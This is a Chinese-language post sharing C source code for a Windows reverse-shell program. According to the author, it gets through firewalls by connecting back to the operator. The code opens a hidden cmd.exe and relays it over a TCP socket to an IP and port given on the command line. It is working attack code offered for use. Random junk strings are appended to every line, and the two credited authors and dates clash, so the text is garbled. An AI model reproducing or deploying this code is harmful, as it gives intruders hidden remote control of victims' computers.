这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *B#OLx
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/* ============================== (-B0fqh=G
Rebound port in Windows NT cC"7Vt9b
By wind,2006/7 'V4.umj1~
===============================*/ VEpIAC4
#include &4O"Xs`ka
#include OMJr.u
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#pragma comment(lib,"wsock32.lib") )09_CC!a
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void OutputShell(); /iy2j8:z
SOCKET sClient; /J/r 62
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HZ[&ZNTa
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void main(int argc,char **argv) @*is]d+Ya
{ 8Ral%I:gr
WSADATA stWsaData; QdUl-(
int nRet; M[<O]p6
SOCKADDR_IN stSaiClient,stSaiServer; A
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if(argc != 3) J-Sf9^G
{ '!yyg#
printf("Useage:\n\rRebound DestIP DestPort\n"); b2U[W#
return; `"GD'Oa
} (cC5zv*E
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WSAStartup(MAKEWORD(2,2),&stWsaData); w V;y]'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BzTm[`(h
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stSaiClient.sin_family = AF_INET; YyK9UZjI
stSaiClient.sin_port = htons(0); +ZizT.$&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #g ~~zwx/N
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u>k;PUH4
{ ynZ!
printf("Bind Socket Failed!\n"); /I[cj3}{+f
return; 5mER&SX
} Rv.W~FE^
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stSaiServer.sin_family = AF_INET; *$`r)pV%AK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1 68U-<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J)'6 z
{ :JW~$4
printf("Connect Error!"); O~'1)k>
return; HFo}r~
} KC }B\~ +
OutputShell(); S:Yo9~
} BOt\"N
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void OutputShell() 5wGyM10
{ f} Uw%S=w,
char szBuff[1024]; 8P5xRUkV
SECURITY_ATTRIBUTES stSecurityAttributes; b<=K@I.=
OSVERSIONINFO stOsversionInfo; n[ba
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v^,A~oe`t
STARTUPINFO stStartupInfo; _NA]=
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char *szShell; Ta9;;B?$
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; I62Yg
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fK4laDBTO
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xk7zXah
stSecurityAttributes.lpSecurityDescriptor = 0; zoUW}O
stSecurityAttributes.bInheritHandle = TRUE; TuaT-Z~U{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K''b)v X4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S G43}
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zQ)[re)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {K[+nX=#
stStartupInfo.wShowWindow = SW_HIDE; 8d Ftp3(
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K.X% Q,XD
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GetVersionEx(&stOsversionInfo); {/n$Y|TIQt
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switch(stOsversionInfo.dwPlatformId) I"DV}jg6|
{ K"g[%O<
case 1: #jDO?Y Sa
szShell = "command.com"; 55,vmDd
break; aQRZyE}
default: )'fIrBT
szShell = "cmd.exe"; 4~o\Os+8
break; YVs{\1|'
} 1XHGW=n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sM?DNE^BvW
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send(sClient,szMsg,77,0); nG8]c9\Q#
while(1) dFFB\|e;0
{ kV(?u_ R
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SKcAZC
if(lBytesRead) *qpmI9m
{ -nHc52,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E"w7/k#3}C
send(sClient,szBuff,lBytesRead,0); &JF^a
} aZBaIl6I
else cDAO5^
{ $"_D"/*
lBytesRead=recv(sClient,szBuff,1024,0); Z ,T TI>P
if(lBytesRead<=0) break; =x[`W9.D
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hob%'Y5%D
} V}aXS;(r%
} wz:w R+
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return; d[O.UzQ
}